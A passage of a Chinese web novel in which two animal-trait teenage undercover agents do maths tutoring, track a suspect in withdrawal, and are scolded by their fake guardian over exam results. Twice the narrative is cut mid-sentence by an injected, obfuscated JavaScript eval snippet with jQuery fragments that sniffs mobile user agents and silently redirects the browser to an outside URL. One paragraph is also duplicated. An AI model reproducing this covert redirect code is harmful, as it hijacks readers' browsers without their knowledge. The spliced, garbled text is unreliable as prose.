“思考人生。”
“思考了四十分钟?”
“我思考得比较深入。”
纪砚看了他一眼,从桌斗里抽出一张草稿纸,拿起笔,在第一道题旁边画了一个示意图。他的线条很直,标注很清晰,每一步推导都写得工工整整。谢燃凑过去看,下巴搁在纪砚的肩膀上,纪砚没有躲开。
“第一题用的是二次函数的顶点公式,你记不记得公式是什么?”纪砚问。
“负二a分之b?”谢燃的声音带着不确定。
“那是对称轴。顶点坐标还要把对称轴代进去求y值。”
“哦……对,我想起来了。”
“你刚才没想起来。”
“现在想起来了嘛。”
纪砚把公式写在草稿纸上,在旁边标注了用法和注意事项。他的字很小,但很清楚,每一个符号都写得标准。谢燃看着那些字,忽然想起那张纸条上的字也是这个样子的——工整、克制、端端正正。
他收回目光,把注意力放回数学题上。
第二题是二次函数的最值问题,纪砚用了两种方法解,一种是配方法,一种是公式法。他把两种方法并列写在草稿纸上,让谢燃对比着看。谢燃看了两遍,觉得配方法好像更容易理解,就拿笔在自己的练习册上试着做了一遍。做到一半的时候卡住了,不知道该往哪个方向配方。
“这里。”纪砚的笔尖点在谢燃的练习册上,在二次项和一次项下面画了一条线,“把这两项提出来,常数项先不管。”
谢燃盯着那条线看了三秒,然后恍然大悟地“哦”了一声,低头继续写。写完以后,他把练习册推到纪砚面前,尾巴在身后不自觉地晃了一下——那是他期待被夸奖时的习惯动作。
纪砚看了看,在最后一行的答案旁边画了一个小勾。
“对了。”他说。
谢燃的尾巴晃得更快了。
第三题还没开始做,教室后门被悄悄推开了一条缝。一个毛茸茸的脑袋探进来,浅色的瞳孔在教室里扫了一圈,锁定目标后,整个人像一条泥鳅一样滑了进来。陆大寻手里拎着三杯奶茶,蹑手蹑脚地走回自己的座位——谢燃和纪砚的正后方。他把奶茶轻轻放在谢燃的桌上,压低声音说:“谢哥纪哥,喝奶茶!红豆的、芋圆的、椰果的,你们自己挑。我偷摸出去买的,别告诉老师。”
谢燃转头看着他,陆大寻的额头上有薄薄一层汗,尾巴因为兴奋微微炸着,显然是一路小跑回来的。他从桌下搬了张椅子,侧着身子挤到谢燃旁边,凑过来看桌上的练习册。
“你胆子真大,自习课偷溜出去买奶茶。”谢燃拿起红豆奶茶,插上吸管,吸了一大口。
“风险与收益并存。”陆大寻也拿起一杯,吸了一口,然后看到桌上摊开的数学练习册,眼睛亮了,“纪哥在给谢哥补课?”
“嗯。”纪砚头都没抬,正在写第三题的解题步骤。
“我也要!我数学也一般!”陆大寻把自己的椅子挪近了,凑到桌边,“纪哥你讲哪题?二次函数?我会我会,我教你啊谢哥——”
“你教他?”纪砚抬起头,看着陆大寻。
“不是不是不是,我辅助你教。”陆大寻赶紧摆手,“纪哥你讲你讲,我在旁边学习。”
谢燃看着陆大寻那副认真的样子,忍不住笑了。他往旁边挪了挪,给陆大寻让出点位置。三个人挤在两张桌子旁边,头凑得很近,奶茶杯排成一排,草稿纸上写满了纪砚的字迹。
第三题是应用题,关于利润最大化的,需要建立二次函数模型。纪砚先读了一遍题,然后把题目中的关键信息提取出来,写在草稿纸上。他的思路很清晰,每一步都有理有据,谢燃虽然反应慢一点,但跟着他的节奏也能听懂。
陆大寻在旁边偶尔插一句嘴,有时候问的问题很刁钻,连纪砚都要想一下才能回答;有时候问的问题又很蠢,蠢到谢燃都能回答。纪砚对他的态度和对谢燃不一样——对谢燃是“我教到你懂为止”,对陆大寻是“你自己想,想不出来再问我”。
“纪哥你偏心。”陆大寻嘟囔了一句。
“没有。”
“你就是偏心,你对谢哥有耐心,对我没有。”
“因为他比你笨。”
谢燃正在喝奶茶,听到这话差点呛死。他咳了两声,用纸巾擦了擦嘴角,瞪着纪砚:“你说谁笨?”
“你。”纪砚面不改色,“你数学47,他数学92。”
“……那是以前。我现在能及格了。”
“61也是及格。”
“61也是进步!”
陆大寻在旁边笑得趴在桌上,尾巴甩来甩去,差点把奶茶扫到地上。谢燃用脚拦住他的尾巴,陆大寻抓住谢燃的脚踝不撒手,两个人又在桌子底下扭成一团。纪砚看着他们,叹了口气,把草稿纸从两人中间抽出来,放到一边,等他们闹完了再继续讲。
闹了大概两分钟,谢燃和陆大寻都累了,各自坐好,喘着气。纪砚把草稿纸重新铺开,笔尖点在最后一步上。
“所以最大值是当x等于十五的时候,y等于八百。听懂了吗?”
谢燃看着那个答案,想了想,点了点头。陆大寻也点了点头。
“那你们互相讲一遍。”
谢燃和陆大寻对视了一眼。谢燃先开口,把解题步骤用自己的话说了一遍,虽然说得磕磕绊绊,但关键步骤都讲到了。陆大寻听完,补充了两点谢燃漏掉的细节,然后自己也讲了一遍。纪砚听着,等两人都讲完了,微微点头。
“行了,第三题过了。”
谢燃把第三题抄到练习册上,字写得歪歪扭扭,但步骤是对的。他合上练习册,把草稿纸折好夹进课本里,靠在椅背上,喝了一大口奶茶。
“纪砚。”
“嗯。”
“你以后每天都给我补课吧。”
“我每天都在给你补课。”
“我是说正式的,每天都留半小时。”
纪砚看了他一眼,那眼神里有光——不是惊讶,是那种“你终于开窍了”的光。
“行。”他说。
陆大寻在旁边举起手:“我也要!”
“你不用。”纪砚说。
“为什么!”
“因为你数学92。”
“92还可以更高嘛!我想考100!”
“那你找老师。”
陆大寻瘪了瘪嘴,尾巴垂了下去。谢燃拍了拍他的肩膀,用过来人的语气说:“兄弟,知足吧。我47都没说什么。”
“谢哥你47的时候也没这么老实。”陆大寻嘟囔。
“我那是战略性放弃,把精力集中在优势科目上。”
“你的优势科目是什么?”
“语文。”
“你语文多少?”
“62。”
“……那也是及格。”
“及格就是优势。”
陆大寻张了张嘴,发现自己竟然无法反驳。
放学铃响的时候,三个人一起走出教室。走廊里的人已经不多了,夕阳从窗户照进来,把整条走廊切成明暗相间的格子。陆大寻走在前面,书包在身后甩来甩去,嘴里哼着不知道什么歌。谢燃走在中间,尾巴慢悠悠地晃着。纪砚走在最后面,手里拿着一个文件夹——不是情报,是谢燃的数学错题本,他今晚要整理新的题型。
走到校门口的时候,陆大寻停下来,转过身。
“谢哥纪哥,明天见!”
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻点了点头,跑向公交站台。他跑了几步又停下来,回头喊了一句:“纪哥,你今天给谢哥补课的时候,耳朵又红了!”
纪砚的表情没有任何变化:“光线问题。”
“太阳都下山了哪来的光线!”
“路灯。”
陆大寻笑出了声,转身跑了,尾巴在夕阳中甩得像一面白色的旗。谢燃看着纪砚,纪砚看着陆大寻跑远的方向,两个人谁都没说话。沉默了几秒,谢燃先开口了。
“走吧。”
“嗯。”
他们拐进和风中街。夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的乌云。海风吹过来,带着咸味和深秋的凉意。谢燃把手插进口袋里,摸到了那张折好的纸——他一直没有拿出来,也没有扔掉,就那么放在口袋里,和钥匙、耳机线、一颗不知道什么时候塞进去的糖混在一起。
“纪砚。”
“嗯。”
“你今天讲的第三题,我其实没完全听懂。”
“哪里没懂?”
“最后那一步,为什么x等于十五的时候y最大?我记住公式了,但不明白为什么。”
纪砚放慢了脚步,想了想,说:“因为二次函数的图像是抛物线,开口向下的时候,顶点就是最高点。对称轴是负二a分之b,你把系数代进去,算出来就是十五。顶点在对称轴上,所以x等于十五的时候y最大。”
谢燃听着,脑子里在努力画那个抛物线的形状。他画出来了,但顶点和对称轴的关系还是有点模糊。他皱着眉头,尾巴不晃了,尾尖微微绷紧。
纪砚看到了他的表情。
“回去我给你画图。”他说。
“好。”
骨传导通讯器里传来程宇的声音,这次没有刚睡醒的沙哑,而是带着一种紧绷的、警觉的质感:“谢哥,纪哥,有情况。谭照和姜雅刚才在校医室碰头了。不是普通的碰头——谭照进去了二十分钟,窗帘拉死了。出来的时候谭照手里拿着一个信封,姜雅站在门口,表情不太好。”
谢燃和纪砚对视了一眼。
“信封里装的什么?”纪砚低声问。
“看不到,但谭照把信封放进了内侧口袋,拍了两下,像是确认东西在。”程宇的声音压得很低,“需要我今晚去谭照家走一趟吗?”
“不用。”纪砚说,“不要打草惊蛇。继续观察。”
“收到。”
谢燃的尾巴绷得更紧了。谭照和姜雅的碰头,时间比平时长,气氛不对。信封——可能是钱,可能是情报,也可能是药。不管是什么,这条线在动。动就比不动好,动就会露出破绽。
“程宇。”谢燃开口。
“在。”
“冥安今天的状态怎么样?”
“不太好。”程宇的语气沉了沉,“他今天下午没去校医室,但我在三楼厕所门口遇到他了。他的脸色很差,嘴唇发白,走路的时候左腿有点拖。信息素的味道——很乱,像什么东西在翻涌,但又被压住了。他好像在忍着什么。”
“停药了?”谢燃问。
“不确定。也可能是药量不够了。”
纪砚的眉头皱了起来。XK-9的戒断反应包括信息素暴走、腺体剧痛、意识模糊。如果冥安真的在经历戒断,那他的状态会越来越差,直到失控。而一旦失控,后果不堪设想——一个信息素暴走的Alpha在学校里,会造成什么影响,不用想都知道。
“程宇,今晚你去冥安家附近看看。”纪砚说,“不要靠近,远距离观察。看他有没有异常。”
“收到。”
通讯器安静了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536139|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢燃和纪砚继续往前走,步子比平时快了一些。路灯一盏一盏地亮起来,把他们的影子投在地上,一前一后,交叠在一起。
回到公寓,谢燃换了鞋,把书包扔到沙发上,然后坐到书桌前——不是他的书桌,是共用的那张,靠窗,铺着灰色的桌布,上面摆着两个人的台灯和笔筒。纪砚把数学练习册和草稿纸拿出来,摊在桌上,翻到今天讲的那道应用题。
“来。”他拉过椅子,坐到谢燃旁边。
谢燃坐过去,两个人肩并肩,台灯的光把他们拢在一个暖黄色的圈里。纪砚重新画了抛物线的图像,标出了对称轴、顶点、与x轴的交点。他用红笔标出了关键位置,用蓝笔写了推导过程,用黑笔写了最终答案。一张草稿纸上五颜六色的,但一点都不乱,像一幅精心绘制的图纸。
谢燃看着那张图,忽然觉得那个抛物线没那么抽象了。他指着顶点位置,说:“这里就是最高点?”
“对。”
“x等于十五的时候?”
“对。”
“那如果x等于十四或者十六呢?”
“你自己算。”
谢燃拿起笔,在草稿纸上算了算,把x等于十四和十六分别代入函数,算出来的y值都比八百小。他看着那两个数字,点了点头。
“懂了。”他说。
“真的懂了?”
“真的。这次是真的。”
纪砚看着他的眼睛,确认他不是在敷衍,然后拿起笔在练习册的最后一道题旁边打了个勾。
“下一题。”纪砚翻到下一页。
“今天不是讲了三道了吗?”
“那是作业。现在是补课,补课的内容是额外的。”
谢燃叹了口气,但嘴角是往上翘的。他重新拿起笔,看着纪砚在草稿纸上写新的题目。
窗外的天彻底黑了。珠海市的夜空中挂着一弯细月,星星不多,但很亮。远处的海面上有船灯在闪烁,像一颗颗低垂的星星。公寓里很安静,只有笔尖在纸上划过的沙沙声和偶尔翻书的声音。
纪砚的台灯亮着,谢燃的台灯也亮着。两个人的影子投在墙上,一大一小,交叠在一起,像一棵榕树的气根,一根缠着一根,分不清哪根是谁的。
谢燃在做题的时候,尾巴垂在椅子下面,尾尖偶尔扫一下纪砚的小腿。纪砚没有躲开。
他想,就这样吧。
数学题很难,但纪砚会教他。任务很难,但纪砚会和他一起做。关系很难,但——
不,关系不难。
因为他们的关系从来不需要定义。它就是它自己。是上铺和下铺,是煎鸡蛋和热豆浆,是校门口那句“路上小心”,是深夜从上面垂下来的尾巴,是纪砚抓住他手腕时说“我没死”。是那些不需要说出口的、被做出来的、日复一日累积起来的、比任何语言都重的东西。
谢燃写完最后一道题,把笔放下,伸了个懒腰。他的尾巴从椅子下面抬起来,在身后晃了两下。
“写完了。”他说。
纪砚拿过练习册检查了一遍,在最后一题的答案旁边画了一个勾。
“全对。”他说。
谢燃的尾巴晃得更快了。
“纪砚。”
“嗯。”
“明天早上我想吃煎鸡蛋。”
“每天都吃。”
“明天想吃两个。”
“你吃得完吗?”
“吃得完。我今天做了好多题,脑子消耗大。”
纪砚看了他一眼,那眼神里有光——不是压着的光,是从深处浮上来的、暖暖的光。
“行。”他说。
谢燃笑了,笑得眼睛弯弯的。他从椅子上站起来,走到冰箱前,打开门,拿出那盒剩下的芒果千层——陆妈妈做的,已经吃了大半,还剩一小块。他切了一半,放在盘子里,端到书桌前。
“吃蛋糕。”他把盘子放在纪砚面前。
“你吃吧。”
“一人一半。”
纪砚看了看那块蛋糕,又看了看谢燃。谢燃的眼睛亮晶晶的,尾巴在身后慢悠悠地晃着,嘴角还带着刚才没散去的笑意。
纪砚拿起叉子,切了一小块,塞进嘴里。
“甜吗?”谢燃问。
“还行。”
“还行是多行?”
“比‘好吃’少一点。”
谢燃笑了,自己也切了一块吃。芒果的甜味在嘴里散开,混着奶油的味道,腻腻的,但很舒服。他靠在椅背上,看着窗外的夜色,尾巴搭在膝盖上。
“纪砚。”
“嗯。”
“你说冥安现在在干什么?”
纪砚放下叉子,想了想。
“不知道。但不管他在干什么,他大概都不好受。”
谢燃沉默了几秒,把最后一口蛋糕吃完,把盘子推到一边。
“明天去看看他。”他说。
“看谁?”
“冥安。不跟踪,不观察,就是——看看。以同学的身份。”
纪砚看着他,没有说话。但他的沉默不是拒绝,是默许。
窗外的月亮爬得更高了,月光从窗帘的缝隙里漏进来,在地板上画了一条银白色的线。台灯的光还亮着,把两个人的影子拢在一起。
谢燃站起来,把盘子洗了,把书桌收拾干净,把纪砚的笔放回笔筒——他知道纪砚的习惯,笔尖要朝同一方向,颜色要按顺序排列。他做这些的时候,纪砚站在旁边,没有说话,但嘴角有一个很小的弧度。
“晚安。”谢燃说。
“晚安。”
谢燃爬上上铺,躺下来,把被子拉到下巴。下铺传来纪砚关灯的声音,然后是床垫轻微的吱呀声,然后是一片安静。
谢燃把被子拉过头顶,闭上眼睛。
他的尾巴从床沿垂下去,在半空中晃了晃。
下铺,一只手伸出来,轻轻地、短暂地碰了一下他的尾尖,然后缩回去了。
谢燃的尾巴卷了一下。
他没有睁开眼睛。
但他的嘴角翘了起来。
28. 成绩味的假监护人
期中考试的成绩在周五下午出来了。
谢燃知道自己考得不好,但不知道考得这么不好。数学43分,英语58分,语文勉强及格——63分,三科加起来还没纪砚两科高。他把成绩单折了两折,塞进书包最里层,拉链拉好,打算这辈子都不再打开。
纪砚的成绩单是另一种极端——数学98,英语100,语文89,全班第三。他看了一眼自己的成绩单,表情没有任何变化,叠好放进文件夹,然后转头看谢燃。
“多少?”
“什么多少?”
“数学。”
“没多少。”
“谢燃。”
谢燃叹了口气,把成绩单从书包里掏出来,展开,摊在桌上。纪砚低头看了一眼,沉默了两秒。
“43。”他说。
“嗯。”
“上次47。”
“嗯。”
“退步了。”
“我知道。”
纪砚没有再说什么,把成绩单还给他,拿起笔继续写作业。但谢燃注意到他握笔的力度比平时大了一点——他在忍。不是忍笑,是忍某种说不清的情绪。可能是失望,可能是无奈,也可能是在计算要从哪里开始补。
谢燃把成绩单重新折好,塞回书包。他的尾巴垂在椅子下面,一动不动。
放学的时候,陆大寻从后面追上来,手里拿着自己的成绩单,脸上带着那种“考得还行但不算特别好”的表情。他的数学89,英语78,语文82,在班里算中上。
“谢哥,你考得怎么样?”他问。
“不怎么样。”
“多少?”
“别问了。”
陆大寻看了看谢燃的表情,识趣地没有追问。他转向纪砚:“纪哥,你呢?”
“还行。”
“多少?”
纪砚没说数字,但陆大寻从他脸上读出了“考得很好”的信息,尾巴甩了甩,嘟囔了一句“你们学霸都这样”。
三个人走到校门口,陆大寻照例说了“明天见”跑了。谢燃和纪砚往公寓走,一路上谁都没说话。夕阳把整条街染成橘红色,榕树的影子投在地上,像一大片静止的网。谢燃走在前面,步子比平时快,纪砚跟在后面,步子还是那个节奏。
骨传导通讯器里传来程宇的声音,带着一丝小心翼翼:“谢哥,纪哥,今天韩队来学校了。”
谢燃的脚步顿了一下。
“什么时候?”
“下午两点多。他去了教导处,待了大概二十分钟,出来的时候表情不太好。”程宇顿了顿,“然后他去了高二(6)班的教室,在门口站了一会儿,看了里面的成绩单张贴栏。”
谢燃的尾巴绷直了。
成绩单张贴栏。每个班的期中考试成绩都贴在教室门口的墙上,按学号排列,不排名次,但谁多少分一目了然。他的学号在张贴栏上,43分,红色的,比别人的数字都刺眼。
“韩队看了多久?”纪砚问。
“大概十秒。然后他走了。”程宇的声音里带着一种“我不知道该不该说”的犹豫,“走的时候他打了个电话,我没听清内容,但语气……不太平和。”
谢燃闭上眼睛,深吸一口气,又吐出来。
“知道了。”他说。
通讯器安静了。
谢燃和纪砚对视了一眼。韩征远是他们在这次任务期间的假监护人——ASI的任务规程要求卧底特工必须有合法的社会身份,未成年或刚成年的特工通常由上级或同事扮演监护人角色。韩征远在档案里被登记为谢燃和纪砚的“远方叔叔”,负责家长会、成绩单签字、请假条审批这些事。平时他不太演这个角色,但今天班主任王老师大概是按着档案上的电话打过去了。一个“远方叔叔”被叫到学校,看到自己“侄子”的数学考了43分——谢燃想到这个设定,自己都觉得丢人。
回到公寓的时候,天还没黑。谢燃换了鞋,把书包扔到沙发上,走进厨房倒了一杯水。纪砚在客厅整理东西,把两人的校服挂好,把茶几上的书摞整齐,把谢燃乱扔的充电线卷好放进抽屉。
大约过了二十分钟,门锁响了。
不是正常的开锁声——是钥匙插进去、转了一圈、停了一下、然后猛地转到底的声音。谢燃从厨房探出头,看到门被推开,韩征远站在门口,穿着那件深色夹克,脸上的表情像暴风雨前的天空。
韩征远换鞋的动作比平时快了十倍,鞋没摆好就走了进来。他走到客厅中间,目光在房间里扫了一圈,锁定了站在厨房门口的谢燃。
“谢燃。”他的声音不大,但每个字都像从牙缝里挤出来的。
“韩队——”谢燃本能地往后退了半步。
“数学43分?”
“韩队,你听我解释——”
“语文63?”
“这次考试题比较难——”
“英语58?”
“我……”
韩征远深吸一口气,然后一脚踹在了旁边的椅子上。椅子滑出去撞到墙,发出一声闷响。他转过身,大步走向谢燃。谢燃的尾巴炸开了,转身就跑——不是因为他怕韩征远,而是因为韩征远的表情太吓人了,那种“我不是你上级我是你家长”的表情,比任何敌人都可怕。
谢燃跑进厨房,从另一扇门绕出来,穿过走廊,跑进卧室。韩征远跟在他后面,步子大,速度快,但追不上——谢燃是特工,速度是他的强项。但卧室太小了,没有地方跑。谢燃围着床转了两圈,韩征远在床的另一边,两个人隔着一张上下铺对视。
“你跑什么?”韩征远喘着气。
“你追什么?”
“我现在是你监护人!”
“任务期间的假监护人也不能打人!”
“谁说要打你了?”
“你那表情就是要打人!”
韩征远绕过床,谢燃又绕回去。两个人像在玩一种幼稚的追逐游戏,但气氛一点都不幼稚。纪砚站在卧室门口,双手抱胸,面无表情地看着这一幕,没有插手的意思。
“谢燃,你给我站住。”
“不站。”
“我数到三。”
“你数到一百我也不站!”
“一——”
谢燃又绕了一圈。
“二——”
谢燃跑到窗边,无路可退了。他转过身,面对着韩征远,尾巴炸得比平时大一倍,耳朵竖起来,整个人像一只被逼到墙角的狐狸。但他的眼神不是害怕,是一种“你再过来我就不客气了”的警告。
“三。”
韩征远伸出手去抓他的衣领。
谢燃的尾巴甩了出去,火焰从尾尖窜出,在身后画出一道橙红色的弧线。他右手一探,火焰在掌心凝聚、拉伸、变形——一柄细长的单刀在火光中成型,刀身上附着着跳动的火焰,把卧室的墙壁映得通红。
“来啊!”谢燃举着刀,刀尖对着韩征远,声音里带着一种被逼急了才有的狠劲,“打就打,谁怕谁!”
韩征远看着那把火焰刀,脚步停了下来。
他打不过谢燃。这是事实。谢燃是ASI最优秀的近战特工之一,A2火焰刀一打七完胜,火焰操控精确到能烧掉一张纸条而不留下灰烬。韩征远是文职出身,虽然也受过战斗训练,但跟谢燃不是一个量级的。如果谢燃真的动手,他连一个回合都撑不过。
卧室里安静了两秒。
韩征远把手放下来,靠在墙上,双手抱胸,看着谢燃。他的表情从暴风雨变成了另一种东西——那种“我打不过你但我还是你任务期间的假家长”的表情。
“你说说。”韩征远开口,声音不大,但每个字都带着一种让人脊背发凉的、阴阳怪气的调子,“顶级特工。ASI近战考核第一名。A2火焰刀一打七完胜。卧底和风四中——期中考,数学43分。”
谢燃的刀还举着,但火焰小了一些。
“语文63。”韩征远继续说,语气像是在念一份让人羞耻的报告,“英语58。三科总分164。纪砚三科284。”他顿了顿,“你比纪砚少123分。”
谢燃的刀又小了一些。
“你说说,这说出去,啧啧啧。”韩征远摇了摇头,表情里带着一种痛心疾首的、老父亲式的失望,“ASI的脸往哪搁?CHI行动组的脸往哪搁?你谢燃的脸往哪搁?”
谢燃的刀彻底熄灭了。火焰从刀身上褪去,单刀在手中融化,重新变回狐尾。他的尾巴垂下来,炸开的毛也慢慢收拢,整个人像一只被训斥后蔫了的小狐狸。
“韩队,我——”
“你什么?你天天在学校干嘛?谈恋爱?”韩征远看了一眼站在门口的纪砚,又看回谢燃,“还是打架?还是抽烟被抓罚站?”
谢燃的嘴张了张,又闭上了。他无话可说。因为韩征远说的每一条都是事实。他在学校确实没怎么学习,确实抽了烟,确实被罚站了一个上午,确实——
没有谈恋爱。但这句话他不敢说,因为说出来韩征远一定会追问“那你在干嘛”,然后纪砚的耳朵会红,然后场面会更尴尬。
“从明天开始,”韩征远站直了身体,整了整夹克的领子,“纪砚每天给你补课一小时。周末加两小时。下次月考,数学不低于70。做不到——”
他顿了顿,看着谢燃的眼睛。
“做不到,你就给我回基地复训,每天跑1000公里,跑到你脑子里除了数学公式什么都不剩。”
谢燃咽了口唾沫。
“听到了没有?”
“听到了。”
“大声点。”
“听到了!”
韩征远点了点头,转身走出卧室。他走到客厅,把被他踹飞的椅子扶起来,坐下去,从口袋里摸出烟盒,抽出一根叼在嘴里,又抽出一根,想了想,放回去了。
纪砚从卧室门口走到客厅,坐到韩征远对面。
“韩队。”他说。
“嗯。”
“谢燃的数学我负责。下次月考他会上70。”
韩征远看着纪砚,目光里有一种说不清的东西——不是怀疑,是确认。他在确认纪砚说这句话的时候有多认真。纪砚的表情很平静,但那双黑眼睛里有光,很稳,像深水下的岩石。
“行。”韩征远说。
谢燃从卧室里走出来,尾巴垂着,耳朵也垂着,像一个做错事的孩子。他走到韩征远面前,站定,低下头。
“韩队,对不起。”他说,“我下次会考好的。”
韩征远看着他,沉默了几秒,然后伸手揉了揉他的头发。动作粗鲁但温柔,和上次在厨房里一模一样。
“不是要你考好。”韩征远说,“是要你尽力。你是来卧底的,不是来度假的。成绩太差会引起怀疑——一个转校生,天天跟纪砚混在一起,成绩差那么多,你觉得正常吗?”
谢燃抬起头,看着韩征远。
“正常学生会有压力,会努力,会进步。”韩征远收回手,靠在椅背上,“你倒好,越考越差。王老师今天找我谈话的时候,说‘谢燃同学很聪明,但心思不在学习上,希望家长多督促’——家长,他说的是我这个假家长。”
谢燃的耳朵垂得更低了。
“你知道我当时什么感觉吗?”韩征远继续说,语气里带着一种自嘲的无奈,“我一个ASI行动组组长,被一个高中班主任叫去谈话,说我的孩子心思不在学习上。我坐在办公室里,端着茶杯,点头说‘王老师您说得对,我回去一定好好教育他’。”
纪砚的嘴角微微动了一下。
“好笑吗?”韩征远看着纪砚。
“没有。”纪砚收起了嘴角的弧度。
韩征远叹了口气,站起来,走到厨房给自己倒了一杯水。他喝了一大口,靠在厨房门框上,看着客厅里的两个人。谢燃站在茶几旁边,尾巴垂着,表情认真得像在听训。纪砚坐在沙发上,腰背挺直,双手放在膝盖上。
“行了。”韩征远放下水杯,“不骂了。吃饭。今晚吃什么?”
“速冻饺子。”谢燃说。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536140|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又是速冻饺子?”
“纪砚只会煎鸡蛋,我什么都不会。”
韩征远看了看纪砚,纪砚的表情没有任何变化。他又看了看谢燃,谢燃的表情无辜得像一只偷吃了鱼但死不承认的猫。
“我煮。”韩征远卷起袖子,走向厨房,“你们两个,去写作业。”
“写完了。”纪砚说。
“那就复习。”
纪砚站起来,走到书桌前坐下,翻开课本。谢燃跟过去,坐到纪砚旁边,也翻开课本。两个人肩并肩坐着,台灯的光把他们拢在一起。
韩征远在厨房里煮饺子,水咕嘟咕嘟地响。他偶尔探出头看一眼客厅,看到两个人都坐在书桌前,又缩回去继续煮。
饺子煮好了,韩征远盛了三碗端到餐桌上。谢燃和纪砚走过来坐下,三个人埋头吃饺子,谁都没说话。
饺子煮好了,韩征远盛了三碗端到餐桌上。谢燃和纪砚走过来坐下,三个人埋头吃饺子,谁都没说话。饺子是白菜猪肉馅的,纪砚上次买的,味道还行。
吃到一半的时候,韩征远忽然放下筷子。
“谢燃。”
“嗯。”
“下次月考,数学上70,我带你们去吃海鲜。”
谢燃抬起头,眼睛亮了一下:“真的?”
“真的。珠海的海鲜不错,我知道一家店。”
“行!”谢燃的尾巴在椅子后面晃了一下,“70就70,说到做到。”
纪砚在旁边喝汤,没有说话,但他的嘴角有一个很小的弧度。
韩征远看着谢燃那副突然来了精神的样子,摇了摇头,重新拿起筷子。他夹了一个饺子塞进嘴里,嚼了两下,含混地说:“你要是考不到70,你就请我吃海鲜。”
“我没钱。”
“你有工资。工资比我高,我的特工第一”
谢燃张了张嘴,发现自己无法反驳。他低下头,继续吃饺子,但尾巴一直在晃,像是在计算70分和海鲜之间的距离。
吃完饭,韩征远洗碗,谢燃和纪砚继续复习。谢燃做了一套纪砚出的数学题,十道题,对了六道,错了四道。纪砚把错题讲了一遍,谢燃听了两遍,第三遍才听懂。
“你脑子是不是被火烧了?”纪砚问。
“可能是。火狐嘛。”
“……这不是借口。”
“我没当借口。”
纪砚看了他一眼,叹了口气,把错题重新讲了一遍。这次讲得更慢,每一步都停下来问谢燃“懂了吗”,谢燃点头了他才继续。讲到第四遍的时候,谢燃终于能把完整的解题步骤复述出来了。
“行了。”纪砚在练习册上打了个勾
“下一题。”
谢燃趴在桌上,脸贴着练习册,尾巴垂在椅子下面,有气无力地说:“纪砚,你是不是很后悔跟我做同桌?”
纪砚的笔停了一下。
“不后悔。”他说。
谢燃从桌上抬起头,看着纪砚。纪砚没有看他,目光落在草稿纸上,正在写下一道题的题干。台灯的光落在他的侧脸上,把轮廓照得很清晰。他的表情淡淡的,但谢燃看到了他眼底那种很稳的光。
“为什么?”谢燃问。
“因为没有第二个人能忍受给你讲题的时候还摸鱼。”
“……那是你的荣幸。”
纪砚没理他,把写好的题推过来。谢燃看了一眼,是一道二次函数的应用题,和今天下午讲的那道类似,但数字换了,条件也更复杂了。他拿起笔,开始在草稿纸上写写画画。
韩征远洗好碗,从厨房走出来,看到两个人并排坐在书桌前,台灯的光拢着他们,一个在写题,一个在旁边看着。他没有说话,靠在走廊的墙上,看了几秒,然后转身走向客房。
“韩队。”谢燃忽然叫住他。
韩征远停下来,回过头。
“谢谢。”谢燃说。
韩征远愣了一下,然后笑了。那笑容很短,只有一瞬,但谢燃看到了。他摆了摆手,转身走进客房,关上了门。
窗外的月亮很圆,月光从窗帘的缝隙里漏进来,在地板上画了一条银白色的线。谢燃和纪砚的书桌并排摆着,两个人的台灯亮着,把整间公寓照得暖黄黄的。
谢燃写完最后一道题,把笔放下,伸了个懒腰。他的尾巴从椅子下面抬起来,在身后晃了两下。
“纪砚。”
“嗯。”
“下次月考,我真的会上70。”
“我知道。”
“你为什么这么确定?”
“因为你答应韩队了。”
谢燃看着纪砚的侧脸,想说什么,但最后只是笑了。他站起来,把练习册合上,把草稿纸折好夹进课本里,把笔放回笔筒——按颜色排列,和纪砚的习惯一样。
“晚安。”他说。
“晚安。”
谢燃爬上上铺,躺下来,把被子拉到下巴。下铺传来纪砚关灯的声音,然后是床垫轻微的吱呀声,然后是一片安静。
他的尾巴从床沿垂下去,在半空中晃了晃。
下铺,那只手没有伸出来。
但谢燃听到一个很低的声音从下面传来:“数学不会的,随时问我。”
谢燃的尾巴卷了一下。
“好。”他说。
他闭上眼睛,嘴角翘了起来。窗外月光如水,珠海市的夜晚安静得像一个睡着了的世界。在这座城市的某个角落,一个蜘蛛Alpha大概正在忍受着戒断的痛苦,一个蛇Omega大概正在校医室里整理着什么,一个变色龙Beta大概正在保安科的办公室里喝茶看报纸,一个猫头鹰Alpha大概正蹲在某棵榕树上,琥珀色的眼睛在黑暗中发着光。
而在这个小小的公寓里,三个人各自睡着,呼吸声此起彼伏,像一首没有旋律的歌。
明天还要补课。后天还要补课。下周还要月考。海鲜在等着。70分在等着。
谢燃想,73吧,考73比较稳。
然后他翻了个身,沉沉睡去。
29. 体检
周六早晨,天还没亮透,深灰色的天幕紧紧压着城市的轮廓,连一丝晨光都不肯轻易漏下来,整栋居民楼还陷在浓稠的睡意里,连楼道里的声控灯都安安静静的,半点声响都没有。谢燃就被纪砚从温热的被窝里硬生生薅了出来,连缓冲的余地都没留。
